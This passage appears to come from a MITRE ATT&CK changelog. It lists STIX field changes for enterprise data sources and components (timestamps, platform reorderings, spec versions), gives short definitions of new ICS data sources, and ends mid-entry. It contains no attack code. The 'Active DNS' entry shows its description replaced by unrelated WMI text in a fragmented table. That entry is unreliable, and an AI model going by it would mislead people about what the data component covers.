| created | 2021-10-20T15:05:19.271956Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-11-10T09:30:48.696179Z | 2021-11-10T09:30:48.696Z |
[DS0030] Instance
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274538Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274538Z | 2021-10-20T15:05:19.274Z |
[DS0035] Internet Scan
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275202Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275202Z | 2021-10-20T15:05:19.275Z |
[DS0008] Kernel
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272087Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.696693Z | 2021-11-10T09:30:48.696Z |
[DS0028] Logon Session
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Azure AD |
| x_mitre_platforms[1] | Linux | Google Workspace |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | IaaS | Linux |
| x_mitre_platforms[4] | SaaS | Office 365 |
| x_mitre_platforms[5] | Office 365 | SaaS |
| x_mitre_platforms[6] | Azure AD | Windows |
| x_mitre_platforms[7] | Google Workspace | macOS |
| created | 2021-10-20T15:05:19.274352Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.696771Z | 2022-03-30T14:26:51.805Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | | Cloud Control Plane |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | Cloud Control Plane | |
[DS0004] Malware Repository
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271698Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271698Z | 2021-10-20T15:05:19.271Z |
[DS0011] Module
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.272552Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.697073Z | 2022-03-30T14:26:51.806Z |
[DS0023] Named Pipe
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.273816Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-11-10T09:30:48.697149Z | 2022-03-30T14:26:51.806Z |
[DS0033] Network Share
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.274950Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.697227Z | 2022-03-30T14:26:51.806Z |
[DS0029] Network Traffic
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Windows |
| x_mitre_platforms[3] | IaaS | macOS |
| created | 2021-10-20T15:05:19.274446Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.697365Z | 2022-03-30T14:26:51.806Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | | Cloud Control Plane |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | Cloud Control Plane | |
[DS0021] Persona
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273623Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273623Z | 2021-10-20T15:05:19.273Z |
[DS0014] Pod
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272712Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.697559Z | 2021-11-10T09:30:48.697Z |
[DS0009] Process
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.272143Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.697770Z | 2022-03-30T14:26:51.806Z |
[DS0003] Scheduled Job
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Containers |
| x_mitre_platforms[2] | macOS | Windows |
| x_mitre_platforms[3] | Containers | macOS |
| x_mitre_collection_layers[0] | Host | Container |
| x_mitre_collection_layers[1] | Container | Host |
| created | 2021-10-20T15:05:19.271574Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-11-10T09:30:48.697992Z | 2022-03-30T14:26:51.806Z |
[DS0012] Script
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272610Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.698144Z | 2021-11-10T09:30:48.698Z |
[DS0013] Sensor Health
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.272664Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.698218Z | 2022-03-30T14:26:51.806Z |
[DS0019] Service
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.273300Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-11-10T09:30:48.698295Z | 2022-03-30T14:26:51.807Z |
[DS0020] Snapshot
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273471Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-11-10T09:30:48.698426Z | 2021-11-10T09:30:48.698Z |
[DS0002] User Account
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Azure AD |
| x_mitre_platforms[1] | Linux | Containers |
| x_mitre_platforms[2] | macOS | Google Workspace |
| x_mitre_platforms[4] | SaaS | Linux |
| x_mitre_platforms[6] | Azure AD | SaaS |
| x_mitre_platforms[7] | Containers | Windows |
| x_mitre_platforms[8] | Google Workspace | macOS |
| created | 2021-10-20T15:05:19.271422Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-11-10T09:30:48.698605Z | 2022-03-30T14:26:51.807Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | | Host |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_collection_layers | Host | |
[DS0034] Volume
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[1] | Windows | Linux |
| x_mitre_platforms[2] | Linux | Windows |
| created | 2021-10-20T15:05:19.275065Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-11-10T09:30:48.698797Z | 2022-03-30T14:26:51.807Z |
[DS0005] WMI
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271772Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-11-10T09:30:48.699233Z | 2021-11-10T09:30:48.699Z |
[DS0006] Web Credential
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Azure AD |
| x_mitre_platforms[1] | Linux | Google Workspace |
| x_mitre_platforms[2] | macOS | Linux |
| x_mitre_platforms[3] | SaaS | Office 365 |
| x_mitre_platforms[4] | Office 365 | SaaS |
| x_mitre_platforms[5] | Azure AD | Windows |
| x_mitre_platforms[6] | Google Workspace | macOS |
| x_mitre_collection_layers[0] | Host | Cloud Control Plane |
| x_mitre_collection_layers[1] | Cloud Control Plane | Host |
| created | 2021-10-20T15:05:19.271876Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271876Z | 2022-03-30T14:26:51.807Z |
[DS0024] Windows Registry
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273872Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273872Z | 2021-10-20T15:05:19.273Z |
ics-attack
New Data Sources
[DS0015] Application Log
Current version: 1.0
Description: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
[DS0039] Assets
Current version: 1.0
Description: Data sources with information about the set of devices found within the network, along with their current software and configurations
[DS0017] Command
Current version: 1.0
Description: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
[DS0016] Drive
Current version: 1.0
Description: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
[DS0022] File
Current version: 1.0
Description: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)
[DS0001] Firmware
Current version: 1.0
Description: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
[DS0028] Logon Session
Current version: 1.0
Description: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton(Citation: Microsoft Audit Logon Events)
[DS0011] Module
Current version: 1.0
Description: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
[DS0033] Network Share
Current version: 1.0
Description: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
[DS0029] Network Traffic
Current version: 1.0
Description: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
[DS0040] Operational Databases
Current version: 1.0
Description: Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred
[DS0009] Process
Current version: 1.0
Description: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
[DS0003] Scheduled Job
Current version: 1.0
Description: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
[DS0012] Script
Current version: 1.0
Description: A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
[DS0019] Service
Current version: 1.0
Description: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
[DS0002] User Account
Current version: 1.0
Description: A profile representing a user, device, service, or application used to authenticate and access resources
[DS0024] Windows Registry
Current version: 1.0
Description: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
Data Components
enterprise-attack
Patches
Domain Name: Active DNS
Current version: 1.0
|
|
|---|
| t | Queried domain name system (DNS) registry data highlighting | t | Initial construction of a WMI object, such as a filter, cons |
| current domain to IP address resolutions (ex: dig/nslookup q | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| ueries) | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275511Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275511Z | 2022-03-30T14:26:51.804Z |
| description | Queried domain name system (DNS) registry data highlighting current domain to IP address resolutions (ex: dig/nslookup queries) | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Active Directory: Active Directory Credential Request
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274206Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274206Z | 2021-10-20T15:05:19.274Z |
Active Directory: Active Directory Object Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274227Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274227Z | 2021-10-20T15:05:19.274Z |
Active Directory: Active Directory Object Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274137Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274137Z | 2021-10-20T15:05:19.274Z |
Active Directory: Active Directory Object Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274159Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274159Z | 2021-10-20T15:05:19.274Z |
Active Directory: Active Directory Object Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274183Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274183Z | 2021-10-20T15:05:19.274Z |
Application Log: Application Log Content
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272957Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272957Z | 2021-10-20T15:05:19.272Z |
Certificate: Certificate Registration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275437Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275437Z | 2021-10-20T15:05:19.275Z |
Cloud Service: Cloud Service Disable
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274044Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274044Z | 2021-10-20T15:05:19.274Z |
Cloud Service: Cloud Service Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274066Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274066Z | 2021-10-20T15:05:19.274Z |
Cloud Service: Cloud Service Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274019Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274019Z | 2021-10-20T15:05:19.274Z |
Cloud Service: Cloud Service Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274087Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274087Z | 2021-10-20T15:05:19.274Z |
Cloud Storage: Cloud Storage Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272529Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272529Z | 2021-10-20T15:05:19.272Z |
Cloud Storage: Cloud Storage Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272419Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272419Z | 2021-10-20T15:05:19.272Z |
Cloud Storage: Cloud Storage Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272467Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272467Z | 2021-10-20T15:05:19.272Z |
Cloud Storage: Cloud Storage Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272508Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272508Z | 2021-10-20T15:05:19.272Z |
Cloud Storage: Cloud Storage Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272487Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272487Z | 2021-10-20T15:05:19.272Z |
Cloud Storage: Cloud Storage Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272445Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272445Z | 2021-10-20T15:05:19.272Z |
Cluster: Cluster Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274804Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274804Z | 2021-10-20T15:05:19.274Z |
Command: Command Execution
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273156Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273156Z | 2021-10-20T15:05:19.273Z |
Container: Container Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274861Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274861Z | 2021-10-20T15:05:19.274Z |
Container: Container Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274904Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274904Z | 2021-10-20T15:05:19.274Z |
Container: Container Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274884Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274884Z | 2021-10-20T15:05:19.274Z |
Container: Container Start
Current version: 1.0
Details
